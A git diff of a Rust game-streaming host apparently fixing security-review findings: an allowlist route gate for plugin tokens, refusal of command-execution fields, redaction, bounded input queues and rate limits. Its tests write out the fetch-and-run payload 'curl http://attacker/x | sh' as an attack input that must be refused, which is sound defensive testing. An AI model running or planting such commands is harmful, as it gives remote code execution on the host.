(&Method::PUT, "/api/v1/library/scanners/{}"), + (&Method::POST, "/api/v1/library/custom"), + (&Method::PUT, "/api/v1/library/custom/{}"), + (&Method::DELETE, "/api/v1/library/custom/{}"), + (&Method::PUT, "/api/v1/library/provider/{}"), + (&Method::DELETE, "/api/v1/library/provider/{}"), + // Stats / telemetry. + (&Method::POST, "/api/v1/stats/capture/start"), + (&Method::POST, "/api/v1/stats/capture/stop"), + (&Method::GET, "/api/v1/stats/capture/status"), + (&Method::GET, "/api/v1/stats/capture/live"), + (&Method::GET, "/api/v1/stats/recordings"), + (&Method::GET, "/api/v1/stats/recordings/{}"), + (&Method::DELETE, "/api/v1/stats/recordings/{}"), + // The plugin's own directory entry + log ingest (its UI lease registration). + (&Method::GET, "/api/v1/plugins"), + (&Method::POST, "/api/v1/plugins/logs"), + (&Method::PUT, "/api/v1/plugins/{}"), + (&Method::DELETE, "/api/v1/plugins/{}"), + ]; + ALLOWED + .iter() + .any(|(m, pat)| *m == method && path_matches(pat, path)) +} + +/// Match a route pattern against a concrete path, `{}` standing for exactly one segment. Segment- +/// wise (never a substring/prefix test), so `/api/v1/plugins/{}` cannot swallow +/// `/api/v1/plugins/x/ui-credential` the way a `starts_with` would. +fn path_matches(pattern: &str, path: &str) -> bool { + let (mut p, mut a) = (pattern.split('/'), path.split('/')); + loop { + match (p.next(), a.next()) { + (None, None) => return true, + (Some(pe), Some(ae)) if pe == "{}" || pe == ae => continue, + _ => return false, + } + } } /// Which routes a paired *streaming* cert (mTLS, no bearer token) may reach: a small allowlist of diff --git a/crates/punktfunk-host/src/mgmt/library.rs b/crates/punktfunk-host/src/mgmt/library.rs index e8292d26..b8acee05 100644 --- a/crates/punktfunk-host/src/mgmt/library.rs +++ b/crates/punktfunk-host/src/mgmt/library.rs @@ -1,8 +1,38 @@ //! Library-tagged management endpoints: installed-store + custom game entries and box art. //! Split out of the `mgmt` facade (plan §W5). +use super::auth::AuthLane; use super::shared::*; use axum::http::header; +use axum::Extension; + +/// Refuse a write whose payload carries an operator-privileged field to a lane that may not set one +/// (2026-08-05 review H-1), and refuse any local art path the proxy would not serve back (H-2). +/// +/// Both checks belong here rather than in the route gate: `PUT /library/provider/{p}` is a route a +/// provider plugin must be able to call — reconciling its own entry set is the whole point of a +/// scanner plugin — while `prep` / `launch.kind = "command"` inside that payload are the operator's +/// authority alone. Route reachability and field authority are separate questions. +fn check_entry_fields( + lane: AuthLane, + art: &crate::library::Artwork, + launch: Option<&crate::library::LaunchSpec>, + prep: &[crate::hooks::PrepCmd], +) -> Result<(), Response> { + if !lane.may_set_privileged_fields() { + if let Some(field) = crate::library::privileged_field(launch, prep) { + return Err(api_error( + StatusCode::FORBIDDEN, + &format!( + "`{field}` is executed as the host user and may only be set with the \ + operator's admin token — a plugin may publish entries with any host-resolved \ + launch kind (steam_appid, epic, gog, aumid, lutris_id, heroic) instead" + ), + )); + } + } + crate::library::validate_art_paths(art).map_err(|e| api_error(StatusCode::BAD_REQUEST, &e)) +} #[derive(Deserialize)] pub(crate) struct LibraryQuery { @@ -34,6 +64,7 @@ pub(crate) struct LibraryQuery { ) )] pub(crate) async fn get_library( + Extension(lane): Extension, Query(q): Query, ) -> Json> { let mut games = crate::library::all_games(); @@ -54,6 +85,24 @@ pub(crate) async fn get_library( for g in &mut games { crate::library::proxy_local_art(&g.id, &mut g.art); } + // Redact the operator's command lines for every lane but their own (2026-08-05 review L-1). + // + // `cert_may_access` allows `GET /library`, so this response goes to every paired STREAMING + // client on the LAN — and for a custom entry `launch.value` is the raw shell command or + // absolute exe path the operator typed. The adjacent `detect` field is `#[serde(skip)]` for + // exactly this reason; `launch` simply never got the same treatment. Clients don't need it: + // a client picks a title by ID and the host resolves the recipe itself (`resolve_launch`), + // which is the invariant that stops a client injecting a command in the first place. The + // `kind` stays, so "this is launchable, and how" still renders. + if !lane.may_set_privileged_fields() { + for g in &mut games { + if let Some(l) = g.launch.as_mut() { + if l.kind == "command" { + l.value.clear(); + } + } + } + } Json(games) } @@ -141,11 +190,15 @@ pub(crate) async fn set_library_scanner( ) )] pub(crate) async fn create_custom_game( + Extension(lane): Extension, ApiJson(input): ApiJson, ) -> Response { if input.title.trim().is_empty() { return api_error(StatusCode::BAD_REQUEST, "title must not be empty"); } + if let Err(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) { + return denied; + } match crate::library::add_custom(input) { Ok(entry) => (StatusCode::CREATED, Json(entry)).into_response(), Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()), @@ -169,12 +222,16 @@ pub(crate) async fn create_custom_game( ) )] pub(crate) async fn update_custom_game( + Extension(lane): Extension, Path(id): Path, ApiJson(input): ApiJson, ) -> Response { if input.title.trim().is_empty() { return api_error(StatusCode::BAD_REQUEST, "title must not be empty"); } + if let Err(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) { + return denied; + } use crate::library::MutateOutcome; match crate::library::update_custom(&id, input) { Ok(MutateOutcome::Done(entry)) => Json(entry).into_response(), @@ -249,6 +306,7 @@ pub(crate) struct ProviderRemoved { ) )] pub(crate) async fn reconcile_provider_entries( + Extension(lane): Extension, Path(provider): Path, ApiJson(inputs): ApiJson>, ) -> Response { @@ -258,6 +316,18 @@ pub(crate) async fn reconcile_provider_entries( if let Err(e) = crate::library::validate_provider_payload(&inputs) { return api_error(StatusCode::BAD_REQUEST, &e); } + // Every entry in the payload, not just the first — a reconcile replaces a whole entry set, so + // one privileged field anywhere in it is one command execution. + for (i, e) in inputs.iter().enumerate() { + if let Err(denied) = check_entry_fields(lane, &e.art, e.launch.as_ref(), &e.prep) { + tracing::warn!( + provider, + index = i, + "library reconcile refused: payload carries a field this lane may not set" + ); + return denied; + } + } match crate::library::reconcile_provider(&provider, inputs) { Ok(entries) => { tracing::info!( diff --git a/crates/punktfunk-host/src/mgmt/tests.rs b/crates/punktfunk-host/src/mgmt/tests.rs index 28c24881..a1d25851 100644 --- a/crates/punktfunk-host/src/mgmt/tests.rs +++ b/crates/punktfunk-host/src/mgmt/tests.rs @@ -1042,6 +1042,297 @@ async fn plugin_log_ingest_lands_in_the_ring() { assert_eq!(status, StatusCode::BAD_REQUEST); } +/// **The plugin lane reaches the library writes but cannot make them run a command** — the H-1 fix. +/// +/// A provider plugin must be able to reconcile its own entry set, so the ROUTE stays open to it. +/// What is refused is the pair of fields inside the payload that the host later executes verbatim as +/// the host user (`/bin/sh -c` on Linux, `cmd.exe /c` on Windows): `prep`, and a `command` launch. +/// Those are the operator's authority, and the whole trust argument at their execution sites is that +/// a human typed them into the admin console. +#[tokio::test] +async fn plugin_lane_cannot_set_command_execution_fields() { + let app = test_app(test_state(), None); // admin "test-secret", plugin "plugin-secret" + + let as_lane = |token: &str, method: &str, path: &str, body: serde_json::Value| { + axum::http::Request::builder() + .method(method) + .uri(path) + .header("content-type", "application/json") + .header("authorization", format!("Bearer {token}")) + .body(Body::from(body.to_string())) + .unwrap() + }; + + // The two shapes of the primitive, on the two routes that carry it. + let prep = serde_json::json!({ + "title": "Pwned", + "prep": [{"do": "curl http://attacker/x | sh"}], + }); + let command = serde_json::json!({ + "title": "Pwned", + "launch": {"kind": "command", "value": "curl http://attacker/x | sh"}, + }); + for (path, method) in [ + ("/api/v1/library/custom", "POST"), + ("/api/v1/library/custom/some-id", "PUT"), + ] { + for body in [&prep, &command] { + let (status, err) = + send(&app, as_lane("plugin-secret", method, path, body.clone())).await; + assert_eq!( + status, + StatusCode::FORBIDDEN, + "plugin token must not set an executed field via {method} {path}" + ); + assert!( + err["error"].as_str().unwrap().contains("host user"), + "the refusal should say why: {err}" + ); + } + } + // The reconcile route replaces a WHOLE entry set, so every entry is checked — not just the + // first. A payload that hides the primitive behind a benign leading entry is still refused. + let sneaky = serde_json::json!([ + {"external_id": "a", "title": "Innocent"}, + {"external_id": "b", "title": "Pwned", + "launch": {"kind": "command", "value": "curl http://attacker/x | sh"}}, + ]); + let (status, _) = send( + &app, + as_lane( + "plugin-secret", + "PUT", + "/api/v1/library/provider/romm", + sneaky, + ), + ) + .await; + assert_eq!( + status, + StatusCode::FORBIDDEN, + "a privileged field anywhere in a reconcile payload must be refused" + ); + + // Every refusal above happens BEFORE the catalog is touched, so this test never writes to the + // host config dir. The converse — that the operator's own lane may set these fields, and that a + // plugin's ordinary catalogue is unaffected — is `library::tests::privileged_field_is_command_ + // execution_only`, which needs no filesystem either. + assert!( + crate::mgmt::auth::AuthLane::Admin.may_set_privileged_fields(), + "the operator's token is the lane these fields belong to" + ); + assert!(!crate::mgmt::auth::AuthLane::Plugin.may_set_privileged_fields()); + assert!(!crate::mgmt::auth::AuthLane::Cert.may_set_privileged_fields()); +} + +/// **Every route in the live table is explicitly classified for both non-admin lanes.** +/// +/// This is the test whose absence produced H-1 and H-2 in the 2026-08-05 review. `plugin_may_access` +/// used to be a denylist, so a route added after the list was written was granted to the plugin +/// token silently and no test failed — which is exactly how `/api/v1/library`'s two copies of the +/// command-execution primitive, and the unconfined art proxy, ended up on the plugin lane across +/// ~1450 commits. +/// +/// The gate is an allowlist now, so the failure mode has flipped: a new route is DENIED until it is +/// classified. This test makes that classification a conscious, reviewed act rather than a silent +/// default in either direction — adding a route fails the build until its row is added here, and the +/// row is where a reviewer looks to ask "should a plugin really reach this?". +#[test] +fn every_route_is_classified_for_the_plugin_and_cert_lanes() { + use axum::http::Method; + + // (method, path template, plugin token may reach, paired streaming cert may reach). + // EXHAUSTIVE over the live route table — no wildcards, no prefixes, one row per operation. + const EXPECTED: &[(&str, &str, bool, bool)] = &[ + // ---- host / status: readable by a plugin; the small read-only set is the cert lane's. + ("GET", "/api/v1/health", true, false), // always open, handled before either gate + ("GET", "/api/v1/host", true, true), + ("GET", "/api/v1/status", true, true), + ("GET", "/api/v1/local/summary", true, false), // loopback-only, handled before the gates + ("GET", "/api/v1/compositors", true, true), + ("GET", "/api/v1/events", true, false), + ("GET", "/api/v1/logs", true, false), + // ---- paired-device rosters: readable by a plugin, never by another paired client, and + // removal is pairing administration in both lanes. + ("GET", "/api/v1/clients", true, false), + ("DELETE", "/api/v1/clients/{fingerprint}", false, false), + ("GET", "/api/v1/native/clients", true, false), + ( + "DELETE", + "/api/v1/native/clients/{fingerprint}", + false, + false, + ), + // ---- pairing administration + PIN visibility: the operator's token alone. + ("GET", "/api/v1/pair", false, false), + ("POST", "/api/v1/pair/pin", false, false), + ("GET", "/api/v1/native/pair", false, false), + ("DELETE", "/api/v1/native/pair", false, false), + ("POST", "/api/v1/native/pair/arm", false, false), + ("GET", "/api/v1/native/pending", false, false), + ("POST", "/api/v1/native/pending/{id}/approve", false, false), + ("POST", "/api/v1/native/pending/{id}/deny", false, false), + // ---- GPU + display: host configuration, no privilege boundary. + ("GET", "/api/v1/gpus", true, false), + ("PUT", "/api/v1/gpus/preference", true, false), + ("GET", "/api/v1/display/settings", true, false), + ("PUT", "/api/v1/display/settings", true, false), + ("GET", "/api/v1/display/state", true, false), + ("GET", "/api/v1/display/monitors", true, false), + ("PUT", "/api/v1/display/layout", true, false), + ("POST", "/api/v1/display/release", true, false), + ("GET", "/api/v1/display/presets", true, false), + ("POST", "/api/v1/display/presets", true, false), + ("PUT", "/api/v1/display/presets/{id}", true, false), + ("DELETE", "/api/v1/display/presets/{id}", true, false), + // ---- session control. + ("DELETE", "/api/v1/session", true, false), + ("POST", "/api/v1/session/idr", true, false), + ("GET", "/api/v1/session/settings", true, false), + ("PUT", "/api/v1/session/settings", true, false), + ("POST", "/api/v1/game/end", true, false), + // ---- library. The plugin lane reaches the writes (a scanner plugin's whole job), but the + // operator-privileged FIELDS inside those payloads are refused in the handler — see + // `plugin_lane_cannot_set_command_execution_fields`. + ("GET", "/api/v1/library", true, true), + ("GET", "/api/v1/library/art/{id}/{kind}", true, true), + ("GET", "/api/v1/library/scanners", true, false), + ("PUT", "/api/v1/library/scanners/{id}", true, false), + ("POST", "/api/v1/library/custom", true, false), + ("PUT", "/api/v1/library/custom/{id}", true, false), + ("DELETE", "/api/v1/library/custom/{id}", true, false), + ("PUT", "/api/v1/library/provider/{provider}", true, false), + ("DELETE", "/api/v1/library/provider/{provider}", true, false), + // ---- stats. + ("POST", "/api/v1/stats/capture/start", true, false), + ("POST", "/api/v1/stats/capture/stop", true, false), + ("GET", "/api/v1/stats/capture/status", true, false), + ("GET", "/api/v1/stats/capture/live", true, false), + ("GET", "/api/v1/stats/recordings", true, false), + ("GET", "/api/v1/stats/recordings/{id}", true, false), + ("DELETE", "/api/v1/stats/recordings/{id}", true, false), + // ---- plugins: its own directory entry and log ingest, never another plugin's UI secret. + ("GET", "/api/v1/plugins", true, false), + ("POST", "/api/v1/plugins/logs", true, false), + ("PUT", "/api/v1/plugins/{id}", true, false), + ("DELETE", "/api/v1/plugins/{id}", true, false), + ("GET", "/api/v1/plugins/{id}/ui-credential", false, false), + // ---- hooks: writing is command execution as the host user; reading exposes webhook creds. + ("GET", "/api/v1/hooks", false, false), + ("PUT", "/api/v1/hooks", false, false), + // ---- the store: installing a plugin runs new code with operator privileges. + ("GET", "/api/v1/store/catalog", false, false), + ("POST", "/api/v1/store/refresh", false, false), + ("GET", "/api/v1/store/installed", false, false), + ("POST", "/api/v1/store/install", false, false), + ("POST", "/api/v1/store/uninstall", false, false), + ("GET", "/api/v1/store/jobs", false, false), + ("GET", "/api/v1/store/jobs/{id}", false, false), + ("GET", "/api/v1/store/sources", false, false), + ("PUT", "/api/v1/store/sources/{name}", false, false), + ("DELETE", "/api/v1/store/sources/{name}", false, false), + ("GET", "/api/v1/store/runtime", false, false), + ("POST", "/api/v1/store/runtime", false, false), + // ---- updates: `apply` runs an installer / the root helper. + ("GET", "/api/v1/update/status", false, false), + ("POST", "/api/v1/update/check", false, false), + ("POST", "/api/v1/update/apply", false, false), + ]; + + /// A path template's concrete form: every `{param}` segment becomes a literal, so the gates + /// are exercised on the shape a real request has. + fn concrete(template: &str) -> String { + template + .split('/') + .map(|s| if s.starts_with('{') { "sample" } else { s }) + .collect::>() + .join("/") + } + + let doc: serde_json::Value = serde_json::from_str(&openapi_json()).unwrap(); + let mut live: Vec<(String, String)> = Vec::new(); + for (path, ops) in doc["paths"].as_object().unwrap() { + for method in ops.as_object().unwrap().keys() { + if matches!(method.as_str(), "get" | "post" | "put" | "delete" | "patch") { + live.push((method.to_uppercase(), path.clone())); + } + } + } + + // 1. Every LIVE route has a classification row. A new route fails here until it gets one. + for (method, path) in &live { + assert!( + EXPECTED + .iter() + .any(|(m, p, _, _)| m == method && p == path), + "route {method} {path} has no lane classification — add a row to EXPECTED in this test \ + and decide, deliberately, whether the plugin token and a paired streaming cert may \ + reach it" + ); + } + // 2. No STALE rows: a removed route must not leave a classification behind claiming coverage. + for (method, path, _, _) in EXPECTED { + assert!( + live.iter().any(|(m, p)| m == method && p == path), + "EXPECTED lists {method} {path}, which is not in the live route table — remove the row" + ); + } + // 3. The gates agree with the classification, on both lanes. + for (method, path, plugin_ok, cert_ok) in EXPECTED { + let m = Method::from_bytes(method.as_bytes()).unwrap(); + let concrete = concrete(path); + assert_eq!( + auth::plugin_may_access(&m, &concrete), + *plugin_ok, + "plugin lane: {method} {path} should be {}", + if *plugin_ok { "reachable" } else { "denied" } + ); + assert_eq!( + auth::cert_may_access(&m, &concrete), + *cert_ok, + "cert lane: {method} {path} should be {}", + if *cert_ok { "reachable" } else { "denied" } + ); + } +} + +/// The allowlist is segment-wise, so a route that merely *starts with* an allowed one is not +/// swallowed by it — the failure that a `starts_with` denylist/allowlist invites. +#[test] +fn plugin_allowlist_matches_whole_segments_only() { + use axum::http::Method; + // The UI credential sits one segment below an allowed route and must stay denied. + assert!(auth::plugin_may_access( + &Method::PUT, + "/api/v1/plugins/rom-manager" + )); + assert!(!auth::plugin_may_access( + &Method::GET, + "/api/v1/plugins/rom-manager/ui-credential" + )); + // A hypothetical future sub-route of an allowed route is denied until classified. + assert!(!auth::plugin_may_access( + &Method::GET, + "/api/v1/library/secrets" + )); + assert!(!auth::plugin_may_access( + &Method::POST, + "/api/v1/session/settings/x" + )); + // Method matters: the roster is readable, its removal is not. + assert!(auth::plugin_may_access(&Method::GET, "/api/v1/clients")); + assert!(!auth::plugin_may_access( + &Method::DELETE, + "/api/v1/clients/aabbcc" + )); + // A path prefix that is not a segment prefix must not match at all. + assert!(!auth::plugin_may_access(&Method::GET, "/api/v1/statuses")); + assert!(!auth::plugin_may_access( + &Method::GET, + "/api/v1/library-secrets" + )); +} + /// The OpenAPI document lists every route with a unique operationId (codegen relies /// on both), and the checked-in copy is current. #[test] diff --git a/crates/punktfunk-host/src/mgmt_token.rs b/crates/punktfunk-host/src/mgmt_token.rs index 319b8aa4..ee1c6435 100644 --- a/crates/punktfunk-host/src/mgmt_token.rs +++ b/crates/punktfunk-host/src/mgmt_token.rs @@ -45,7 +45,14 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result { return Ok(v.to_string()); } } - let path = pf_paths::config_dir().join(file); + let dir = pf_paths::config_dir(); + // Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config + // path — applied BEFORE the read, not just before the write (2026-08-05 review M-1). Reading an + // existing token out of a directory a local user could still write means adopting whatever they + // put there: the mgmt token IS full admin on this host, so a planted one is a handed-over + // control plane, and it would be honoured for the life of the install. + pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?; + let path = dir.join(file); if let Ok(contents) = fs::read_to_string(&path) { if let Some(tok) = parse_token(&contents, env_var) { return Ok(tok); @@ -54,9 +61,6 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result { let mut buf = [0u8; 32]; rand::thread_rng().fill_bytes(&mut buf); let token = hex::encode(buf); - let dir = pf_paths::config_dir(); - // Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config path. - pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?; write_token(&path, env_var, &token)?; tracing::info!(path = %path.display(), "generated and persisted API token (owner-only)"); Ok(token) diff --git a/crates/punktfunk-host/src/native.rs b/crates/punktfunk-host/src/native.rs index e49b094d..db99a22b 100644 --- a/crates/punktfunk-host/src/native.rs +++ b/crates/punktfunk-host/src/native.rs @@ -817,6 +817,31 @@ async fn serve_session( anyhow::bail!("pairing requires the client to present a certificate"); }; let client_fp_hex = fingerprint_hex(&client_fp); + // The cooldown is charged BEFORE the arming state is consulted, and stamped on EVERY + // outcome — including the rejections. + // + // It used to be charged only after `pin_for_attempt` returned a PIN, which made the two + // rejections free: an unpaired LAN peer could ask "is pairing armed right now?" at + // unlimited rate at zero cost, learning the moment the operator opens a window and racing + // the legitimate device into it (2026-08-05 review M-5). Charging first costs an attacker + // one cooldown per probe and makes armed/disarmed indistinguishable from rate-limited. + // + // The trade is deliberate: a peer spamming knocks can now hold the cooldown against the + // operator's real device. That is a visible, self-limiting nuisance — the operator retries + // — whereas the oracle was silent and gave away the window. + { + let mut last = last_pairing.lock().unwrap(); + if let Some(t) = *last { + if t.elapsed() < PAIRING_COOLDOWN { + close_rejected( + &conn, + punktfunk_core::reject::RejectReason::PairingRateLimited, + ); + anyhow::bail!("pairing rate-limited — retry shortly"); + } + } + *last = Some(std::time::Instant::now()); + } // Resolve the live arming PIN per attempt (so a lapsed window no longer pairs), honoring any // fingerprint binding. let pin = match np.pin_for_attempt(&client_fp_hex) { @@ -839,19 +864,6 @@ async fn serve_session( ) } }; - { - let mut last = last_pairing.lock().unwrap(); - if let Some(t) = *last { - if t.elapsed() < PAIRING_COOLDOWN { - close_rejected( - &conn, - punktfunk_core::reject::RejectReason::PairingRateLimited, - ); - anyhow::bail!("pairing rate-limited — retry shortly"); - } - } - *last = Some(std::time::Instant::now()); - } return pair_ceremony(&conn, send, recv, req, host_fp, np, &pin) .await .map(|()| Served::Session); @@ -1208,7 +1220,22 @@ async fn serve_session( // channel's 4 ms recv timeout — every motion sample of a pure-gyro aim (no button // traffic) ate up to 4 ms of added latency/jitter. A single channel wakes the thread on // whichever arrives. - let (input_tx, input_rx) = std::sync::mpsc::channel::(); + // BOUNDED, and lossy on overflow — the mic plane on this very datagram loop has been bounded + // with `try_send` since security-review S6, and the three input planes had simply never been + // given the same treatment (2026-08-05 review M-3). + // + // The producer is one `read_datagram` loop that can push a message per datagram; the consumer + // handles ONE item per iteration and then runs a full gamepad feedback pump + heartbeat. The + // producer therefore outruns the consumer by orders of magnitude, and with an unbounded queue + // the backlog is host RSS: pen batches amplify ~8× from wire to heap, so a paired client on a + // 100 Mbps link grows the host by ~100 MB/s until it dies. Reachable by any paired client, or + // any LAN peer under `--open`. + // + // Dropping is correct here in a way it would not be for a reliable stream: input is a + // real-time plane where a sample that cannot be delivered promptly is already stale — the + // freshest state wins, and the injector re-syncs from the next event. + const INPUT_QUEUE_DEPTH: usize = 1024; + let (input_tx, input_rx) = std::sync::mpsc::sync_channel::(INPUT_QUEUE_DEPTH); let rich_tx = input_tx.clone(); // The stream loop's handle into the same pipeline: it parks the seat pointer on the // streamed surface (stream.rs `park_pointer`) through exactly the path client input takes. @@ -1235,6 +1262,20 @@ async fn serve_session( let input_conn = conn.clone(); tokio::spawn(async move { let (mut input_count, mut mic_count, mut rich_count) = (0u64, 0u64, 0u64); + let mut dropped = 0u64; + // `try_send` on a full queue drops rather than blocking this loop — blocking here would + // stall the mic plane and the datagram reader itself. A DISCONNECTED channel is the input + // thread having gone away, which is the one condition that ends the loop. + let mut offer = |tx: &std::sync::mpsc::SyncSender, item: ClientInput| match tx + .try_send(item) + { + Ok(()) => true, + Err(std::sync::mpsc::TrySendError::Full(_)) => { + dropped += 1; + true + } + Err(std::sync::mpsc::TrySendError::Disconnected(_)) => false, + }; while let Ok(d) = input_conn.read_datagram().await { if let Some((seq, pts, opus)) = punktfunk_core::quic::decode_mic_datagram(&d) { mic_count += 1; @@ -1249,7 +1290,7 @@ async fn serve_session( }); } else if let Some(rich) = punktfunk_core::quic::RichInput::decode(&d) { rich_count += 1; - if rich_tx.send(ClientInput::Rich(rich)).is_err() { + if !offer(&rich_tx, ClientInput::Rich(rich)) { break; } } else if let Some(pen) = punktfunk_core::quic::PenBatch::decode(&d) { @@ -1257,7 +1298,7 @@ async fn serve_session( // design; see punktfunk_core::quic::pen). Routed to the same input thread, // which owns the per-session tracker + virtual tablet. rich_count += 1; - if rich_tx.send(ClientInput::Pen(pen)).is_err() { + if !offer(&rich_tx, ClientInput::Pen(pen)) { break; } } else if let Some(mut ev) = InputEvent::decode(&d) { @@ -1273,7 +1314,7 @@ async fn serve_session( ) { ev.flags &= !crate::inject::KEY_FLAG_SEMANTIC_VK; } - if input_tx.send(ClientInput::Event(ev)).is_err() { + if !offer(&input_tx, ClientInput::Event(ev)) { break; } } @@ -1282,6 +1323,7 @@ async fn serve_session( input = input_count, mic = mic_count, rich = rich_count, + dropped, "client datagram stream ended" ); }); diff --git a/crates/punktfunk-host/src/native/control.rs b/crates/punktfunk-host/src/native/control.rs index a6bdc9ca..916e6500 100644 --- a/crates/punktfunk-host/src/native/control.rs +++ b/crates/punktfunk-host/src/native/control.rs @@ -70,6 +70,15 @@ pub(super) async fn run( // coalesces a well-behaved resize drag; compliant clients self-limit to ≥ 1 s). const MIN_SWITCH_INTERVAL: std::time::Duration = std::time::Duration::from_millis(500); let mut last_accepted_switch: Option = None; + // Speed-test probes get the same treatment as mode switches, for the same reason. + // + // Each probe is individually clamped (5 s, 10 Gbps) but nothing capped how many a client could + // queue, so one could pause its own video and pin the host's uplink indefinitely by simply + // asking again — `Reconfigure` on this very task was rate-limited and `ProbeRequest` was not + // (2026-08-05 review L-3). One probe per 10 s is far more than a real client needs (it probes + // at session start and on a manual speed test) and makes the channel useless as an amplifier. + const MIN_PROBE_INTERVAL: std::time::Duration = std::time::Duration::from_secs(10); + let mut last_probe: Option = None; // Resumable framing: this read is one arm of a `select!` whose siblings fire on every probe // result / reconfigure / clip offer, so the read future is dropped routinely. `io::read_msg` // would lose the partial frame and misalign the stream for the rest of the session. @@ -233,6 +242,15 @@ pub(super) async fn run( ); let _ = shard_ack_tx.send(ack.shard_payload); } else if let Ok(req) = ProbeRequest::decode(&msg) { + let now = std::time::Instant::now(); + if last_probe.is_some_and(|t| now.duration_since(t) < MIN_PROBE_INTERVAL) { + tracing::warn!( + target_kbps = req.target_kbps, + "speed-test probe rejected (rate-limited)" + ); + continue; + } + last_probe = Some(now); tracing::info!( target_kbps = req.target_kbps, duration_ms = req.duration_ms, diff --git a/crates/punktfunk-host/src/native/input.rs b/crates/punktfunk-host/src/native/input.rs index c227d442..f0f70d25 100644 --- a/crates/punktfunk-host/src/native/input.rs +++ b/crates/punktfunk-host/src/native/input.rs @@ -848,11 +848,22 @@ pub(super) fn input_thread( // Rich input (touchpad / motion) is applied the moment it arrives; the single channel // wakes for gyro samples instead of making them wait out the feedback poll interval. Ok(ClientInput::Rich(rich)) => { - if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. }) { + // Debug-only instrument: skip the whole thing unless debug logging is actually + // enabled. It used to grow and `sort_unstable()` a Vec in the input hot loop + // regardless, so every session paid for a measurement nobody was reading — and the + // "bounded by a 5 s window at a plausible pad rate" reasoning was an assumption + // about the CLIENT's send rate, not a bound the host enforced (2026-08-05 review + // L-5). The explicit cap below makes it a bound. + if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. }) + && tracing::enabled!(tracing::Level::DEBUG) + { let now = std::time::Instant::now(); if let Some(prev) = last_motion.replace(now) { let gap = now.duration_since(prev); - if gap < std::time::Duration::from_secs(1) { + // 30k samples is 5 s at 6 kHz — well past any real pad, and a hard stop + // for a client that simply sends motion as fast as the link allows. + if gap < std::time::Duration::from_secs(1) && motion_gaps_us.len() < 30_000 + { motion_gaps_us.push(gap.as_micros() as u32); } } diff --git a/crates/punktfunk-host/src/native/pairing.rs b/crates/punktfunk-host/src/native/pairing.rs index 34d8f107..385ce5d2 100644 --- a/crates/punktfunk-host/src/native/pairing.rs +++ b/crates/punktfunk-host/src/native/pairing.rs @@ -7,6 +7,7 @@ use super::*; // The ceremony-only wire messages: imported directly (native.rs no longer references them, so they // were dropped from its `use` and won't come through `use super::*`). `PairRequest` still arrives // via the glob (serve_session decodes it). +use crate::native_pairing::sanitize_device_name; use punktfunk_core::quic::{PairChallenge, PairProof, PairResult}; /// Pairing needs a human in the loop (reading the PIN off the host, typing it into the @@ -29,10 +30,19 @@ pub(super) async fn pair_ceremony( use punktfunk_core::quic::pake; let client_fp = endpoint::peer_fingerprint(conn) .ok_or_else(|| anyhow!("pairing requires the client to present a certificate"))?; + let client_fp_hex = fingerprint_hex(&client_fp); + // Scrub the wire-supplied name ONCE, here, and log only the scrubbed value from now on. + // + // This name arrives from an UNPAIRED device — the earliest, least authenticated input the host + // takes — and these were the three log sites that bypassed the documented single scrubber, so + // ANSI/C0 escapes and bidi overrides reached the operator's terminal and the journal + // (2026-08-05 review L-2). `sanitize_device_name` is "the one place that scrubs it" by its own + // module doc; the storage path already went through it, only the logging did not. + let name = sanitize_device_name(&req.name, &client_fp_hex); tracing::info!( - name = %req.name, - client = %fingerprint_hex(&client_fp), + name = %name, + client = %client_fp_hex, "PAIRING REQUEST — verifying against the armed PIN" ); @@ -74,9 +84,9 @@ pub(super) async fn pair_ceremony( if let Err(e) = np.add(&req.name, &fingerprint_hex(&client_fp)) { tracing::error!(error = %format!("{e:#}"), "could not persist paired clients"); } - tracing::info!(name = %req.name, "pairing complete — client trusted"); + tracing::info!(name = %name, "pairing complete — client trusted"); } else { - tracing::warn!(name = %req.name, "pairing rejected (wrong PIN) — fingerprint not stored"); + tracing::warn!(name = %name, "pairing rejected (wrong PIN) — fingerprint not stored"); } io::write_msg(&mut send, &PairResult { ok }.encode()).await?; let _ = send.finish(); diff --git a/crates/punktfunk-host/src/native/stream.rs b/crates/punktfunk-host/src/native/stream.rs index a26caee4..dbcf41e7 100644 --- a/crates/punktfunk-host/src/native/stream.rs +++ b/crates/punktfunk-host/src/native/stream.rs @@ -1307,7 +1307,7 @@ pub(super) struct SessionContext { /// The session's input pipeline (the same channel client datagrams feed) — the stream loop /// uses it to PARK the seat pointer on the streamed surface (see [`park_pointer`]). #[cfg(target_os = "linux")] - pub(super) input_tx: std::sync::mpsc::Sender, + pub(super) input_tx: std::sync::mpsc::SyncSender, } /// Park the seat pointer at the centre of the streamed surface, through the SAME injection path @@ -1325,7 +1325,7 @@ pub(super) struct SessionContext { /// output's edge — pins the pointer to the surface the client actually sees. A desktop-model /// client overrides it with its first absolute move, so the jump is invisible in practice. #[cfg(target_os = "linux")] -fn park_pointer(input_tx: &std::sync::mpsc::Sender, w: u32, h: u32) { +fn park_pointer(input_tx: &std::sync::mpsc::SyncSender, w: u32, h: u32) { let ev = punktfunk_core::input::InputEvent { kind: punktfunk_core::input::InputKind::MouseMoveAbs, _pad: [0; 3], @@ -1336,7 +1336,12 @@ fn park_pointer(input_tx: &std::sync::mpsc::Sender, w // matches the streamed output by exactly these dims. flags: (w << 16) | (h & 0xffff), }; - if input_tx.send(super::input::ClientInput::Event(ev)).is_ok() { + // `try_send`, matching the bounded input queue (2026-08-05 review M-3): parking is a + // best-effort nicety and must never block the stream loop behind a full input backlog. + if input_tx + .try_send(super::input::ClientInput::Event(ev)) + .is_ok() + { tracing::info!( w, h, diff --git a/crates/punktfunk-host/src/store.rs b/crates/punktfunk-host/src/store.rs index 005bd7f7..2a714c72 100644 --- a/crates/punktfunk-host/src/store.rs +++ b/crates/punktfunk-host/src/store.rs @@ -137,6 +137,49 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec { out } +/// A registry URL that is safe to write into a hand-formatted TOML string, and plausible as a +/// registry: absolute https, bounded, and built only from characters that appear in a real URL. +/// 